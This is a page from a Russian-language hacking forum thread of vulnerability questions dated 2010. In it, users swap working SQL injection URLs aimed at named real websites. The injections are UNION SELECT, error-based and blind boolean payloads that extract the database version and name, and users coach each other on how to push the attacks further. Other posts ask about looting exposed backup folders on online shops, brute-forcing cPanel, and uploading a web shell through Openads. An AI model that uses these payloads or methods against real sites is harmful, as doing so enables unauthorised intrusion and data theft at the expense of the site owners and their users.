ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1360 из 1393 « Первая < 360860126013101350 1356 1357 1358 1359 1360 1361 1362 1363 1364 1370 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #13591  
Старый 03.06.2010, 12:23
Аватар для .:[melkiy]:.
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
Провел на форуме:
5290740

Репутация: 912
По умолчанию
Цитата:
Сообщение от haito  
привет команде;

Можно ли придать этим сайтом? потому что я пытался, но никакого результата

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%27

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''36''' at line 1

http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=36%20order%20by%201000-- <-true
_http://www.aquaticplantcentral.com/forumapc/plantfinder/details.php?id=-36'+union+select+1,version(),3,4,5,6,7,8,9,10,11,1 2,13,14,15,16,17,18,19,20,21,22--+

Цитата:
Сообщение от FlaktW  
Здесь есть SQL-inj?

http://www.bigr.nl/website/structure/main.php?page=people&subpage=person&id=51'+order+b y+1000+--+

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+substring(version(),1,1)=5+and+('1'='1

или через ошибку

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SE LECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSIO N(),1,63),+FLOOR(RAND(0)*2)))+and+('1'='1

не смог больше ничего придумать..
Последний раз редактировалось .:[melkiy]:.; 03.06.2010 в 12:39..
 
Ответить с цитированием

  #13592  
Старый 03.06.2010, 13:17
Аватар для FlaktW
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
Провел на форуме:
111014

Репутация: 8
По умолчанию
Цитата:
http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+substring(version(),1,1)=5+and+('1'='1

или через ошибку

_http://www.bigr.nl/website/index.php?page=people&subpage=person&id=JifkeVeenl and')+and+(SELECT+COUNT(*)+FROM+(SELECT+1+UNION+SE LECT+2+UNION+SELECT+3)x+GROUP+BY+CONCAT(MID(VERSIO N(),1,63),+FLOOR(RAND(0)*2)))+and+('1'='1

не смог больше ничего придумать..
Класс!
Последний раз редактировалось FlaktW; 03.06.2010 в 13:24..
 
Ответить с цитированием

  #13593  
Старый 03.06.2010, 13:25
Аватар для haito
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
Провел на форуме:
20441

Репутация: 0
По умолчанию
привет команде;

http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--

мы получили->4.1.14:extaffairs

http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true

Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error
Последний раз редактировалось haito; 03.06.2010 в 13:29..
 
Ответить с цитированием

  #13594  
Старый 03.06.2010, 13:34
Аватар для попугай
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме:
2459557

Репутация: 606


По умолчанию
Цитата:
Сообщение от haito  
привет команде;

http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--

мы получили->4.1.14:extaffairs

http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true

Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error

MagicQuotes on
 
Ответить с цитированием

  #13595  
Старый 03.06.2010, 14:33
Аватар для v1d0qz
v1d0qz
Познающий
Регистрация: 21.07.2007
Сообщений: 68
Провел на форуме:
947074

Репутация: 257
По умолчанию
Цитата:
Сообщение от haito  
привет команде;

http://www.msufoundation.com/impact/stories/details.php?id=-36 union all select 1,concat_ws(0x3a,unhex(hex(version())),unhex(hex(d atabase()))),3,2,5,6,7,8,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28--

мы получили->4.1.14:extaffairs

http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(version(),1,1)=4 -> true

Я не знаю, почему он тут ошибки, это должно быть правдой
http://www.msufoundation.com/impact/stories/details.php?id=36 and substring(database(),1,1)="e" <-error
http://www.msufoundation.com/impact/stories/details.php?id=36+and+lower(ascii(substring(database(),1,1)))=101
Последний раз редактировалось v1d0qz; 03.06.2010 в 14:38..
 
Ответить с цитированием

  #13596  
Старый 03.06.2010, 14:54
Аватар для total90
total90
Участник форума
Регистрация: 30.09.2009
Сообщений: 148
Провел на форуме:
11581319

Репутация: 241
Отправить сообщение для total90 с помощью ICQ
По умолчанию
Цитата:
Сообщение от v1d0qz  
http://www.msufoundation.com/impact/stories/details.php?id=36+and+lower(ascii(substring(database(),1,1)))=101

Или же
http://www.msufoundation.com/impact/stories/details.php?id=36+and+substring(database(),1,1)=0x 65
 
Ответить с цитированием

  #13597  
Старый 03.06.2010, 15:21
Аватар для DrakonSerg
DrakonSerg
Познающий
Регистрация: 16.04.2009
Сообщений: 81
Провел на форуме:
1096131

Репутация: 45
По умолчанию
что можно вытащить полезного (к чему докопаться) если просматриваются папки
/backup/
/includes/
/js/
/scripts/
/temp/
/email/
очень много таких сайтов насобиралось, в основном онлайн шопы.
И еще одно, есть ли возможность взлома либо брута cPanel 11?
 
Ответить с цитированием

  #13598  
Старый 03.06.2010, 16:06
Аватар для haito
haito
Новичок
Регистрация: 27.05.2010
Сообщений: 13
Провел на форуме:
20441

Репутация: 0
По умолчанию
Привет группы;

Можно ли придать этим сайтом?, потому что у нас нет какой-либо аргумент URL

http://www.kitterytradingpost.com/product.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
 
Ответить с цитированием

  #13599  
Старый 03.06.2010, 17:07
Аватар для [Feldmarschall]
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
Провел на форуме:
568388

Репутация: 87
По умолчанию
Цитата:
Сообщение от haito  
Привет группы;

Можно ли придать этим сайтом?, потому что у нас нет какой-либо аргумент URL

http://www.kitterytradingpost.com/product.php
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1
http://www.kitterytradingpost.com/product.php/prodid/3647
делаешь так
http://www.kitterytradingpost.com/product.php?prodid=-3647 и вот тут дальше копай
 
Ответить с цитированием

  #13600  
Старый 03.06.2010, 17:34
Аватар для Konqi
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
Провел на форуме:
2101094

Репутация: 672


Отправить сообщение для Konqi с помощью ICQ
По умолчанию
ребят есть способ заливки шелла через Openads (phpAdsNew) ?
 
Ответить с цитированием
Ответ
Страница 1360 из 1393 « Первая < 360860126013101350 1356 1357 1358 1359 1360 1361 1362 1363 1364 1370 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Форумы 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ